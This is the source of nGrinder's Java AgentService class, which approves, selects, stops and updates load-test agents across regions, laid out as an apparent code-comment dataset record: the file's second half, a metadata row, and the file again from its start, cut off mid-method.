} catch (Exception e) {
LOGGER.debug("Fail to reconnect to connection agent {}:{}", connection.getIp(), connection.getPort());
}
});
}
private void fillUpAgentInfo(AgentInfo agentInfo, AgentProcessControlImplementation.AgentStatus agentStatus) {
if (agentInfo == null || agentStatus == null) {
return;
}
AgentControllerIdentityImplementation agentIdentity = (AgentControllerIdentityImplementation) agentStatus.getAgentIdentity();
AgentControllerState state = agentStatus.getAgentControllerState();
agentInfo.setState(state);
agentInfo.setIp(requireNonNull(agentIdentity).getIp());
agentInfo.setRegion(config.getRegion());
agentInfo.setAgentIdentity(agentIdentity);
agentInfo.setName(agentIdentity.getName());
agentInfo.setVersion(agentManager.getAgentVersion(agentIdentity));
agentInfo.setPort(agentManager.getAttachedAgentConnectingPort(agentIdentity));
if (!isValidSubregion(agentInfo.getSubregion())) {
agentInfo.setSubregion("");
}
}
private boolean isValidSubregion(String subregion) {
String controllerRegion = config.getRegion();
RegionInfo currentControllerRegion = regionService.getOne(controllerRegion);
return currentControllerRegion.getSubregion().contains(subregion);
}
private List<AgentInfo> getAllReady() {
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> agentInfo.getState() != null && agentInfo.getState().isReady())
.collect(toList());
}
public List<AgentInfo> getAllActive() {
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> agentInfo.getState() != null && agentInfo.getState().isActive())
.collect(toList());
}
/**
* Get the available agent count map in all regions of the user, including
* the free agents and user specified agents.
*
* @param userId current user id
* @return user available agent count map
*/
@Override
public Map<String, MutableInt> getAvailableAgentCountMap(String userId) {
Map<String, RegionInfo> regions = regionService.getAll();
Map<String, MutableInt> availShareAgents = newHashMap();
Map<String, MutableInt> availUserOwnAgent = newHashMap();
regions.forEach((region, regionInfo) -> {
regionInfo.getSubregion().forEach(subregion -> {
availShareAgents.put(region + "." + subregion, new MutableInt(0));
availUserOwnAgent.put(region + "." + subregion, new MutableInt(0));
});
availShareAgents.put(region, new MutableInt(0));
availUserOwnAgent.put(region, new MutableInt(0));
});
for (AgentInfo agentInfo : getAllActive()) {
// Skip all agents which are disapproved, inactive or
// have no region prefix.
if (!agentInfo.isApproved()) {
continue;
}
String agentRegion = agentInfo.getRegion();
String agentSubregion = agentInfo.getSubregion();
if (isBlank(agentRegion) || !regions.containsKey(agentRegion)) {
continue;
}
// It's my own agent
String agentFullRegion = isEmpty(agentSubregion) ? agentRegion : agentRegion + "." + agentSubregion;
if (isDedicatedAgent(agentInfo, userId)) {
incrementAgentCount(availUserOwnAgent, agentFullRegion);
} else if (isCommonAgent(agentInfo)) {
incrementAgentCount(availShareAgents, agentFullRegion);
}
}
int maxAgentSizePerConsole = agentManager.getMaxAgentSizePerConsole();
regions.forEach((region, regionInfo) -> {
regionInfo.getSubregion().forEach(subregion -> {
String agentFullRegion = region + "." + subregion;
MutableInt mutableInt = availShareAgents.get(agentFullRegion);
int shareAgentCount = mutableInt.intValue();
mutableInt.setValue(Math.min(shareAgentCount, maxAgentSizePerConsole));
mutableInt.add(availUserOwnAgent.get(agentFullRegion));
});
MutableInt mutableInt = availShareAgents.get(region);
int shareAgentCount = mutableInt.intValue();
mutableInt.setValue(Math.min(shareAgentCount, maxAgentSizePerConsole));
mutableInt.add(availUserOwnAgent.get(region));
});
return availShareAgents;
}
private void incrementAgentCount(Map<String, MutableInt> agentMap, String region) {
if (agentMap.containsKey(region)) {
agentMap.get(region).increment();
}
}
@Override
public AgentControllerIdentityImplementation getAgentIdentityByIpAndName(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo != null) {
return cast(agentInfo.getAgentIdentity());
}
return null;
}
public AgentInfo getAgent(String ip, String name) {
return agentInfoStore.getAgentInfo(createAgentKey(ip, name));
}
/**
* Approve/disapprove the agent on given id.
*
* @param ip ip
* @param name host name
* @param approve true/false
*/
@Transactional
public void approve(String ip, String name, boolean approve) {
AgentInfo agentInfoInDB = agentManagerRepository.findByIpAndName(ip, name);
if (agentInfoInDB != null) {
agentInfoInDB.setApproved(approve);
} else {
agentInfoInDB = new AgentInfo();
agentInfoInDB.setIp(ip);
agentInfoInDB.setName(name);
agentInfoInDB.setApproved(approve);
agentManagerRepository.save(agentInfoInDB);
}
agentManagerRepository.flush();
updateApproveInStore(ip, name, approve);
}
private void updateApproveInStore(String ip, String name, boolean approve) {
AgentInfo agentInfo = getAgent(ip, name);
agentInfo.setApproved(approve);
agentInfoStore.updateAgentInfo(agentInfo.getAgentKey(), agentInfo);
}
/**
* Get all free approved agents
*
* @return AgentInfo set
*/
private Set<AgentInfo> getAllFreeApprovedAgents() {
return getAllReady()
.stream()
.filter(AgentInfo::isApproved)
.collect(toSet());
}
/**
* Get all free approved agents attached to current node.
*
* @return AgentInfo set
*
*/
public Set<AgentInfo> getAllAttachedFreeApprovedAgents() {
return getAllFreeApprovedAgents()
.stream()
.filter(this::isCurrentRegion)
.collect(toSet());
}
/**
* Get all approved agents for given user which are not used now.
*
* @param userId user id
* @return AgentInfo set
*/
public Set<AgentInfo> getAllAttachedFreeApprovedAgentsForUser(String userId, String fullRegion) {
return getAllFreeApprovedAgents()
.stream()
.filter(this::isCurrentRegion)
.filter(agentInfo -> StringUtils.equals(agentInfo.getSubregion(), extractSubregionFromFullRegion(fullRegion)))
.filter(agentInfo -> isDedicatedAgent(agentInfo, userId) || isCommonAgent(agentInfo))
.collect(toSet());
}
private boolean isCurrentRegion(AgentInfo agentInfo) {
String region = config.getRegion();
return StringUtils.equals(region, agentInfo.getRegion());
}
private boolean isDedicatedAgent(AgentInfo agentInfo, String userId) {
if (isCommonAgent(agentInfo)) {
return false;
}
return StringUtils.equals(agentInfo.getOwner(), userId);
}
private String extractSubregionFromFullRegion(String fullRegion) {
if (isEmpty(fullRegion)) {
return "";
}
String[] regionToken = fullRegion.split("\\.");
return regionToken.length > 1 ? regionToken[1] : "";
}
private boolean isCommonAgent(AgentInfo agentInfo) {
return StringUtils.isEmpty(agentInfo.getOwner());
}
/**
* Assign the agents on the given console.
*
* @param perfTest current performance test.
* @param singleConsole {@link SingleConsole} to which agents will be assigned.
* @param grinderProperties {@link GrinderProperties} to be distributed.
* @param agentCount the count of agents.
*/
public synchronized void runAgent(PerfTest perfTest, final SingleConsole singleConsole,
final GrinderProperties grinderProperties, final Integer agentCount) {
User user = perfTest.getCreatedBy();
final Set<AgentInfo> allFreeAgents = getAllAttachedFreeApprovedAgentsForUser(user.getUserId(), perfTest.getRegion());
final Set<AgentInfo> necessaryAgents = selectAgent(user, allFreeAgents, agentCount);
if (hasOldVersionAgent(necessaryAgents)) {
for (AgentInfo agentInfo : necessaryAgents) {
if (!agentInfo.getVersion().equals(nGrinderVersion)) {
update(agentInfo.getIp(), agentInfo.getName());
}
}
throw new NGrinderRuntimeException("Old version agent is detected so, update message has been sent automatically." +
"\nPlease restart perftest after few minutes.");
}
hazelcastService.put(DIST_MAP_NAME_RECENTLY_USED_AGENTS, user.getUserId(), necessaryAgents);
LOGGER.info(format(perfTest, "{} agents are starting.", agentCount));
for (AgentInfo agentInfo : necessaryAgents) {
LOGGER.info(format(perfTest, "- Agent {}", agentInfo.getName()));
}
agentManager.runAgent(singleConsole, grinderProperties, necessaryAgents);
}
private boolean hasOldVersionAgent(Set<AgentInfo> agentInfos) {
return agentInfos.stream().anyMatch(agentInfo -> !agentInfo.getVersion().equals(nGrinderVersion));
}
/**
* Select agent. This method return agent set which is belong to the given user first and then share agent set.
*
* Priority of agent selection.
* 1. dedicated agent of recently used.
* 2. dedicated agent.
* 3. public agent of recently used.
* 4. public agent.
*
* @param user user
* @param allFreeAgents available agents
* @param agentCount number of agents
* @return selected agents.
*/
Set<AgentInfo> selectAgent(User user, Set<AgentInfo> allFreeAgents, int agentCount) {
Set<AgentInfo> recentlyUsedAgents = hazelcastService.getOrDefault(DIST_MAP_NAME_RECENTLY_USED_AGENTS, user.getUserId(), emptySet());
Comparator<AgentInfo> recentlyUsedPriorityComparator = (agent1, agent2) -> {
if (recentlyUsedAgents.contains(agent1)) {
return -1;
}
if (recentlyUsedAgents.contains(agent2)) {
return 1;
}
return 0;
};
Stream<AgentInfo> freeDedicatedAgentStream = allFreeAgents
.stream()
.filter(agentInfo -> isDedicatedAgent(agentInfo, user.getUserId()))
.sorted(recentlyUsedPriorityComparator);
Stream<AgentInfo> freeAgentStream = allFreeAgents
.stream()
.filter(this::isCommonAgent)
.sorted(recentlyUsedPriorityComparator);
return concat(freeDedicatedAgentStream, freeAgentStream)
.limit(agentCount)
.collect(toSet());
}
/**
* Stop agent. If it's in cluster mode, it queue to agentRequestCache.
* otherwise, it send stop message to the agent.
*
* @param ip ip of agent to stop.
* @param name host name of agent to stop.
*/
@Override
public void stop(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo == null) {
return;
}
publishTopic(agentInfo, STOP_AGENT);
}
public void stop(AgentControllerIdentityImplementation agentIdentity) {
agentManager.stopAgent(agentIdentity);
}
@Override
public void update(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo == null) {
return;
}
publishTopic(agentInfo, UPDATE_AGENT);
}
@Override
public SystemDataModel getSystemDataModel(String ip, String name, String region) {
return hazelcastService.submitToRegion(AGENT_EXECUTOR_SERVICE_NAME, new AgentStateTask(ip, name), region);
}
/**
* Update the agent
*
* @param agentIdentity agent identity to be updated.
*/
public void updateAgent(AgentIdentity agentIdentity) {
agentManager.updateAgent(agentIdentity, agentManager.getAgentForceUpdate() ? "99.99" : config.getVersion());
}
public void addConnectionAgent(String ip, int port, String region) {
hazelcastService.submitToRegion(AGENT_EXECUTOR_SERVICE_NAME, new ConnectionAgentTask(ip, port), region);
}
private String createAgentKey(String ip, String name) {
return ip + "_" + name;
}
/**
* Ready agent status count return
*
* @param userId the login user id
* @param targetRegion the name of target region
*
* @return ready status agent count
*/
@Override
public int getReadyAgentCount(String userId, String targetRegion) {
return getReadyAgentInfos(userId, targetRegion, false).size();
}
/**
* Ready agent status count return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param targetSubregion the name of target subregion
*
* @return ready status agent count
*/
@Override
public int getReadyAgentCount(String userId, String targetRegion, String targetSubregion) {
return getReadyAgentInfos(userId, targetRegion, targetSubregion).size();
}
/**
* ${@link List} of ready status agents information return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param isContainSubregionAgents the flag of if contains subregion agents or not
*
* @return ${@link List} of ready status agents information
*/
private List<AgentInfo> getReadyAgentInfos(String userId, String targetRegion, boolean isContainSubregionAgents) {
return getAllFreeApprovedAgents()
.stream()
.filter(agentInfo -> StringUtils.equals(targetRegion, agentInfo.getRegion()))
.filter(agentInfo -> isEmpty(agentInfo.getSubregion()) || isContainSubregionAgents)
.filter(agentInfo -> {
String agentOwner = agentInfo.getOwner();
return isEmpty(agentOwner) || StringUtils.equals(userId, agentOwner);
})
.collect(toList());
}
/**
* ${@link List} of ready status agents information return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param targetSubregion the name of target subregion
*
* @return ${@link List} of ready status agents information
*/
private List<AgentInfo> getReadyAgentInfos(String userId, String targetRegion, String targetSubregion) {
if (isEmpty(targetSubregion)) {
return getReadyAgentInfos(userId, targetRegion, false);
}
return getReadyAgentInfos(userId, targetRegion, true)
.stream()
.filter(agentInfo -> StringUtils.equals(agentInfo.getSubregion(), targetSubregion))
.collect(toList());
}
@Override
public List<AgentInfo> getAllAttached() {
return agentInfoStore.getAllAgentInfo();
}
@Override
public List<AgentInfo> getLocalAgents() {
String region = config.getRegion();
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> region.equals(agentInfo.getRegion()))
.collect(toList());
}
@Override
public String createKey(AgentControllerIdentityImplementation agentIdentity) {
return createAgentKey(agentIdentity.getIp(), agentIdentity.getName());
}
private void publishTopic(AgentInfo agentInfo, AgentRequest.RequestType requestType) {
hazelcastService.publish(AGENT_TOPIC_NAME, new TopicEvent<>(AGENT_TOPIC_LISTENER_NAME,
agentInfo.getRegion(), new AgentRequest(agentInfo.getIp(), agentInfo.getName(), requestType)));
}
@Override
public void execute(TopicEvent<AgentRequest> event) {
if (event.getKey().equals(config.getRegion())) {
AgentRequest agentRequest = event.getData();
AgentControllerIdentityImplementation agentIdentity = getAgentIdentityByIpAndName(agentRequest.getAgentIp(), agentRequest.getAgentName());
if (agentIdentity != null) {
agentRequest.getRequestType().process(AgentService.this, agentIdentity);
}
}
}
@Override
public void update(Map<AgentIdentity, AgentProcessControlImplementation.AgentStatus> agentMap) {
boolean approved = config.getControllerProperties().getPropertyBoolean(PROP_CONTROLLER_ENABLE_AGENT_AUTO_APPROVAL);
Set<AgentInfo> agentInfoSet = agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> StringUtils.equals(agentInfo.getRegion(), config.getRegion()))
.collect(toSet());
for (AgentProcessControlImplementation.AgentStatus agentStatus : agentMap.values()) {
AgentControllerIdentityImplementation agentIdentity = (AgentControllerIdentityImplementation) agentStatus.getAgentIdentity();
AgentInfo agentInfo = agentInfoStore.getAgentInfo(createKey(requireNonNull(agentIdentity)));
// check new agent
if (agentInfo == null) {
agentInfo = new AgentInfo();
}
fillUpAgentInfo(agentInfo, agentStatus);
AgentInfo agentInfoInDB = agentManagerRepository.findByIpAndName(agentInfo.getIp(), agentInfo.getName());
if (agentInfoInDB != null) {
agentInfo.setApproved(agentInfoInDB.getApproved());
} else {
agentInfo.setApproved(approved);
}
agentInfoStore.updateAgentInfo(agentInfo.getAgentKey(), agentInfo);
agentInfoSet.remove(agentInfo);
}
// delete disconnected agent.
for (AgentInfo agentInfo : agentInfoSet) {
agentInfoStore.deleteAgentInfo(agentInfo.getAgentKey());
}
}
@Override
public void onConnectionAgentMessage(String ip, String name, String subregion, int port) {
Connection connection = connectionRepository.findByIpAndPort(ip, port);
String connectedAgentRegion = getConnectedAgentRegion(subregion);
if (connection == null) {
connection = new Connection(ip, name, port, connectedAgentRegion);
} else {
connection.setName(name);
connection.setRegion(connectedAgentRegion);
}
connectionRepository.save(connection);
}
private String getConnectedAgentRegion(String subregion) {
String region = regionService.getCurrent();
RegionInfo regionInfo = regionService.getOne(region);
if (config.isClustered() && isValidSubregion(regionInfo, subregion)) {
region = region + "." + subregion;
}
return region;
}
private boolean isValidSubregion(RegionInfo regionInfo, String subregion) {
return regionInfo.getSubregion().contains(subregion);
}
}
| naver/ngrinder | ngrinder-controller/src/main/java/org/ngrinder/agent/service/AgentService.java | 6,800 | // delete disconnected agent. | line_comment | nl | /*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.ngrinder.agent.service;
import lombok.Getter;
import lombok.RequiredArgsConstructor;
import net.grinder.SingleConsole;
import net.grinder.common.GrinderProperties;
import net.grinder.common.processidentity.AgentIdentity;
import net.grinder.console.communication.AgentProcessControlImplementation;
import net.grinder.console.communication.AgentProcessControlImplementation.AgentStatusUpdateListener;
import net.grinder.console.communication.ConnectionAgentListener;
import net.grinder.engine.controller.AgentControllerIdentityImplementation;
import net.grinder.message.console.AgentControllerState;
import org.apache.commons.lang.StringUtils;
import org.apache.commons.lang.mutable.MutableInt;
import org.ngrinder.agent.model.AgentRequest;
import org.ngrinder.agent.model.Connection;
import org.ngrinder.agent.repository.AgentManagerRepository;
import org.ngrinder.agent.repository.ConnectionRepository;
import org.ngrinder.agent.store.AgentInfoStore;
import org.ngrinder.common.exception.NGrinderRuntimeException;
import org.ngrinder.infra.config.Config;
import org.ngrinder.infra.hazelcast.HazelcastService;
import org.ngrinder.infra.hazelcast.task.AgentStateTask;
import org.ngrinder.infra.hazelcast.task.ConnectionAgentTask;
import org.ngrinder.infra.hazelcast.topic.listener.TopicListener;
import org.ngrinder.infra.hazelcast.topic.message.TopicEvent;
import org.ngrinder.infra.hazelcast.topic.subscriber.TopicSubscriber;
import org.ngrinder.infra.schedule.ScheduledTaskService;
import org.ngrinder.model.AgentInfo;
import org.ngrinder.model.PerfTest;
import org.ngrinder.model.User;
import org.ngrinder.monitor.controller.model.SystemDataModel;
import org.ngrinder.perftest.service.AgentManager;
import org.ngrinder.region.model.RegionInfo;
import org.ngrinder.region.service.RegionService;
import org.ngrinder.service.AbstractAgentService;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Profile;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import javax.annotation.PostConstruct;
import java.util.*;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import static java.util.Collections.emptySet;
import static java.util.Objects.requireNonNull;
import static java.util.stream.Collectors.toList;
import static java.util.stream.Collectors.toSet;
import static java.util.stream.Stream.concat;
import static org.apache.commons.lang.StringUtils.*;
import static org.ngrinder.agent.model.AgentRequest.RequestType.STOP_AGENT;
import static org.ngrinder.agent.model.AgentRequest.RequestType.UPDATE_AGENT;
import static org.ngrinder.common.constant.CacheConstants.*;
import static org.ngrinder.common.constant.ControllerConstants.PROP_CONTROLLER_ENABLE_AGENT_AUTO_APPROVAL;
import static org.ngrinder.common.util.CollectionUtils.newHashMap;
import static org.ngrinder.common.util.LoggingUtils.format;
import static org.ngrinder.common.util.TypeConvertUtils.cast;
/**
* Agent manager service.
*
* @since 3.0
*/
@Profile("production")
@Service
@RequiredArgsConstructor
public class AgentService extends AbstractAgentService
implements TopicListener<AgentRequest>, AgentStatusUpdateListener, ConnectionAgentListener {
protected static final Logger LOGGER = LoggerFactory.getLogger(AgentService.class);
protected final AgentManager agentManager;
protected final AgentManagerRepository agentManagerRepository;
@Getter
private final Config config;
private final RegionService regionService;
private final HazelcastService hazelcastService;
private final TopicSubscriber topicSubscriber;
protected final AgentInfoStore agentInfoStore;
protected final ScheduledTaskService scheduledTaskService;
private final ConnectionRepository connectionRepository;
@Value("${ngrinder.version}")
private String nGrinderVersion;
@PostConstruct
public void init() {
agentManager.addAgentStatusUpdateListener(this);
agentManager.addConnectionAgentListener(this);
topicSubscriber.addListener(AGENT_TOPIC_LISTENER_NAME, this);
Executors.newSingleThreadScheduledExecutor().scheduleAtFixedRate(this::connectionAgentHealthCheck, 1L, 1L, TimeUnit.MINUTES);
}
private void connectionAgentHealthCheck() {
connectionRepository.findAll()
.stream()
.filter(connection -> config.getRegion().equals(connection.getRegion()))
.filter(connection -> agentInfoStore.getAgentInfo(createAgentKey(connection.getIp(), connection.getName())) == null)
.forEach(connection -> {
try {
agentManager.addConnectionAgent(connection.getIp(), connection.getPort());
LOGGER.info("Reconnected to connection agent {}:{}", connection.getIp(), connection.getPort());
} catch (Exception e) {
LOGGER.debug("Fail to reconnect to connection agent {}:{}", connection.getIp(), connection.getPort());
}
});
}
private void fillUpAgentInfo(AgentInfo agentInfo, AgentProcessControlImplementation.AgentStatus agentStatus) {
if (agentInfo == null || agentStatus == null) {
return;
}
AgentControllerIdentityImplementation agentIdentity = (AgentControllerIdentityImplementation) agentStatus.getAgentIdentity();
AgentControllerState state = agentStatus.getAgentControllerState();
agentInfo.setState(state);
agentInfo.setIp(requireNonNull(agentIdentity).getIp());
agentInfo.setRegion(config.getRegion());
agentInfo.setAgentIdentity(agentIdentity);
agentInfo.setName(agentIdentity.getName());
agentInfo.setVersion(agentManager.getAgentVersion(agentIdentity));
agentInfo.setPort(agentManager.getAttachedAgentConnectingPort(agentIdentity));
if (!isValidSubregion(agentInfo.getSubregion())) {
agentInfo.setSubregion("");
}
}
private boolean isValidSubregion(String subregion) {
String controllerRegion = config.getRegion();
RegionInfo currentControllerRegion = regionService.getOne(controllerRegion);
return currentControllerRegion.getSubregion().contains(subregion);
}
private List<AgentInfo> getAllReady() {
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> agentInfo.getState() != null && agentInfo.getState().isReady())
.collect(toList());
}
public List<AgentInfo> getAllActive() {
return agentInfoStore.getAllAgentInfo()
.stream()
.filter(agentInfo -> agentInfo.getState() != null && agentInfo.getState().isActive())
.collect(toList());
}
/**
* Get the available agent count map in all regions of the user, including
* the free agents and user specified agents.
*
* @param userId current user id
* @return user available agent count map
*/
@Override
public Map<String, MutableInt> getAvailableAgentCountMap(String userId) {
Map<String, RegionInfo> regions = regionService.getAll();
Map<String, MutableInt> availShareAgents = newHashMap();
Map<String, MutableInt> availUserOwnAgent = newHashMap();
regions.forEach((region, regionInfo) -> {
regionInfo.getSubregion().forEach(subregion -> {
availShareAgents.put(region + "." + subregion, new MutableInt(0));
availUserOwnAgent.put(region + "." + subregion, new MutableInt(0));
});
availShareAgents.put(region, new MutableInt(0));
availUserOwnAgent.put(region, new MutableInt(0));
});
for (AgentInfo agentInfo : getAllActive()) {
// Skip all agents which are disapproved, inactive or
// have no region prefix.
if (!agentInfo.isApproved()) {
continue;
}
String agentRegion = agentInfo.getRegion();
String agentSubregion = agentInfo.getSubregion();
if (isBlank(agentRegion) || !regions.containsKey(agentRegion)) {
continue;
}
// It's my own agent
String agentFullRegion = isEmpty(agentSubregion) ? agentRegion : agentRegion + "." + agentSubregion;
if (isDedicatedAgent(agentInfo, userId)) {
incrementAgentCount(availUserOwnAgent, agentFullRegion);
} else if (isCommonAgent(agentInfo)) {
incrementAgentCount(availShareAgents, agentFullRegion);
}
}
int maxAgentSizePerConsole = agentManager.getMaxAgentSizePerConsole();
regions.forEach((region, regionInfo) -> {
regionInfo.getSubregion().forEach(subregion -> {
String agentFullRegion = region + "." + subregion;
MutableInt mutableInt = availShareAgents.get(agentFullRegion);
int shareAgentCount = mutableInt.intValue();
mutableInt.setValue(Math.min(shareAgentCount, maxAgentSizePerConsole));
mutableInt.add(availUserOwnAgent.get(agentFullRegion));
});
MutableInt mutableInt = availShareAgents.get(region);
int shareAgentCount = mutableInt.intValue();
mutableInt.setValue(Math.min(shareAgentCount, maxAgentSizePerConsole));
mutableInt.add(availUserOwnAgent.get(region));
});
return availShareAgents;
}
private void incrementAgentCount(Map<String, MutableInt> agentMap, String region) {
if (agentMap.containsKey(region)) {
agentMap.get(region).increment();
}
}
@Override
public AgentControllerIdentityImplementation getAgentIdentityByIpAndName(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo != null) {
return cast(agentInfo.getAgentIdentity());
}
return null;
}
public AgentInfo getAgent(String ip, String name) {
return agentInfoStore.getAgentInfo(createAgentKey(ip, name));
}
/**
* Approve/disapprove the agent on given id.
*
* @param ip ip
* @param name host name
* @param approve true/false
*/
@Transactional
public void approve(String ip, String name, boolean approve) {
AgentInfo agentInfoInDB = agentManagerRepository.findByIpAndName(ip, name);
if (agentInfoInDB != null) {
agentInfoInDB.setApproved(approve);
} else {
agentInfoInDB = new AgentInfo();
agentInfoInDB.setIp(ip);
agentInfoInDB.setName(name);
agentInfoInDB.setApproved(approve);
agentManagerRepository.save(agentInfoInDB);
}
agentManagerRepository.flush();
updateApproveInStore(ip, name, approve);
}
private void updateApproveInStore(String ip, String name, boolean approve) {
AgentInfo agentInfo = getAgent(ip, name);
agentInfo.setApproved(approve);
agentInfoStore.updateAgentInfo(agentInfo.getAgentKey(), agentInfo);
}
/**
* Get all free approved agents
*
* @return AgentInfo set
*/
private Set<AgentInfo> getAllFreeApprovedAgents() {
return getAllReady()
.stream()
.filter(AgentInfo::isApproved)
.collect(toSet());
}
/**
* Get all free approved agents attached to current node.
*
* @return AgentInfo set
*
*/
public Set<AgentInfo> getAllAttachedFreeApprovedAgents() {
return getAllFreeApprovedAgents()
.stream()
.filter(this::isCurrentRegion)
.collect(toSet());
}
/**
* Get all approved agents for given user which are not used now.
*
* @param userId user id
* @return AgentInfo set
*/
public Set<AgentInfo> getAllAttachedFreeApprovedAgentsForUser(String userId, String fullRegion) {
return getAllFreeApprovedAgents()
.stream()
.filter(this::isCurrentRegion)
.filter(agentInfo -> StringUtils.equals(agentInfo.getSubregion(), extractSubregionFromFullRegion(fullRegion)))
.filter(agentInfo -> isDedicatedAgent(agentInfo, userId) || isCommonAgent(agentInfo))
.collect(toSet());
}
private boolean isCurrentRegion(AgentInfo agentInfo) {
String region = config.getRegion();
return StringUtils.equals(region, agentInfo.getRegion());
}
private boolean isDedicatedAgent(AgentInfo agentInfo, String userId) {
if (isCommonAgent(agentInfo)) {
return false;
}
return StringUtils.equals(agentInfo.getOwner(), userId);
}
private String extractSubregionFromFullRegion(String fullRegion) {
if (isEmpty(fullRegion)) {
return "";
}
String[] regionToken = fullRegion.split("\\.");
return regionToken.length > 1 ? regionToken[1] : "";
}
private boolean isCommonAgent(AgentInfo agentInfo) {
return StringUtils.isEmpty(agentInfo.getOwner());
}
/**
* Assign the agents on the given console.
*
* @param perfTest current performance test.
* @param singleConsole {@link SingleConsole} to which agents will be assigned.
* @param grinderProperties {@link GrinderProperties} to be distributed.
* @param agentCount the count of agents.
*/
public synchronized void runAgent(PerfTest perfTest, final SingleConsole singleConsole,
final GrinderProperties grinderProperties, final Integer agentCount) {
User user = perfTest.getCreatedBy();
final Set<AgentInfo> allFreeAgents = getAllAttachedFreeApprovedAgentsForUser(user.getUserId(), perfTest.getRegion());
final Set<AgentInfo> necessaryAgents = selectAgent(user, allFreeAgents, agentCount);
if (hasOldVersionAgent(necessaryAgents)) {
for (AgentInfo agentInfo : necessaryAgents) {
if (!agentInfo.getVersion().equals(nGrinderVersion)) {
update(agentInfo.getIp(), agentInfo.getName());
}
}
throw new NGrinderRuntimeException("Old version agent is detected so, update message has been sent automatically." +
"\nPlease restart perftest after few minutes.");
}
hazelcastService.put(DIST_MAP_NAME_RECENTLY_USED_AGENTS, user.getUserId(), necessaryAgents);
LOGGER.info(format(perfTest, "{} agents are starting.", agentCount));
for (AgentInfo agentInfo : necessaryAgents) {
LOGGER.info(format(perfTest, "- Agent {}", agentInfo.getName()));
}
agentManager.runAgent(singleConsole, grinderProperties, necessaryAgents);
}
private boolean hasOldVersionAgent(Set<AgentInfo> agentInfos) {
return agentInfos.stream().anyMatch(agentInfo -> !agentInfo.getVersion().equals(nGrinderVersion));
}
/**
* Select agent. This method return agent set which is belong to the given user first and then share agent set.
*
* Priority of agent selection.
* 1. dedicated agent of recently used.
* 2. dedicated agent.
* 3. public agent of recently used.
* 4. public agent.
*
* @param user user
* @param allFreeAgents available agents
* @param agentCount number of agents
* @return selected agents.
*/
Set<AgentInfo> selectAgent(User user, Set<AgentInfo> allFreeAgents, int agentCount) {
Set<AgentInfo> recentlyUsedAgents = hazelcastService.getOrDefault(DIST_MAP_NAME_RECENTLY_USED_AGENTS, user.getUserId(), emptySet());
Comparator<AgentInfo> recentlyUsedPriorityComparator = (agent1, agent2) -> {
if (recentlyUsedAgents.contains(agent1)) {
return -1;
}
if (recentlyUsedAgents.contains(agent2)) {
return 1;
}
return 0;
};
Stream<AgentInfo> freeDedicatedAgentStream = allFreeAgents
.stream()
.filter(agentInfo -> isDedicatedAgent(agentInfo, user.getUserId()))
.sorted(recentlyUsedPriorityComparator);
Stream<AgentInfo> freeAgentStream = allFreeAgents
.stream()
.filter(this::isCommonAgent)
.sorted(recentlyUsedPriorityComparator);
return concat(freeDedicatedAgentStream, freeAgentStream)
.limit(agentCount)
.collect(toSet());
}
/**
* Stop agent. If it's in cluster mode, it queue to agentRequestCache.
* otherwise, it send stop message to the agent.
*
* @param ip ip of agent to stop.
* @param name host name of agent to stop.
*/
@Override
public void stop(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo == null) {
return;
}
publishTopic(agentInfo, STOP_AGENT);
}
public void stop(AgentControllerIdentityImplementation agentIdentity) {
agentManager.stopAgent(agentIdentity);
}
@Override
public void update(String ip, String name) {
AgentInfo agentInfo = getAgent(ip, name);
if (agentInfo == null) {
return;
}
publishTopic(agentInfo, UPDATE_AGENT);
}
@Override
public SystemDataModel getSystemDataModel(String ip, String name, String region) {
return hazelcastService.submitToRegion(AGENT_EXECUTOR_SERVICE_NAME, new AgentStateTask(ip, name), region);
}
/**
* Update the agent
*
* @param agentIdentity agent identity to be updated.
*/
public void updateAgent(AgentIdentity agentIdentity) {
agentManager.updateAgent(agentIdentity, agentManager.getAgentForceUpdate() ? "99.99" : config.getVersion());
}
public void addConnectionAgent(String ip, int port, String region) {
hazelcastService.submitToRegion(AGENT_EXECUTOR_SERVICE_NAME, new ConnectionAgentTask(ip, port), region);
}
private String createAgentKey(String ip, String name) {
return ip + "_" + name;
}
/**
* Ready agent status count return
*
* @param userId the login user id
* @param targetRegion the name of target region
*
* @return ready status agent count
*/
@Override
public int getReadyAgentCount(String userId, String targetRegion) {
return getReadyAgentInfos(userId, targetRegion, false).size();
}
/**
* Ready agent status count return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param targetSubregion the name of target subregion
*
* @return ready status agent count
*/
@Override
public int getReadyAgentCount(String userId, String targetRegion, String targetSubregion) {
return getReadyAgentInfos(userId, targetRegion, targetSubregion).size();
}
/**
* ${@link List} of ready status agents information return
*
* @param userId the login user id
* @param targetRegion the name of target region
* @param isContainSubregionAgents the flag of if contains subregion agents or not
*
* @return ${@link List} of ready status agents information
*/
private List<AgentInfo> getReadyAgentInfos(String userId, String targetRegion, boolean isContainSubregionAgents) {
return getAllFreeApprovedAgents()
.stream()
.filter(agentInfo -> StringUtils.equals(targetRegion, agentInfo.getRegion()))
.filter(agentInfo -> isEmpty(agentInfo.getSubregion()) || isContainSubregionAgents)
.filter(agentInfo -> {
String agentOwner = agentInfo.getOwner();
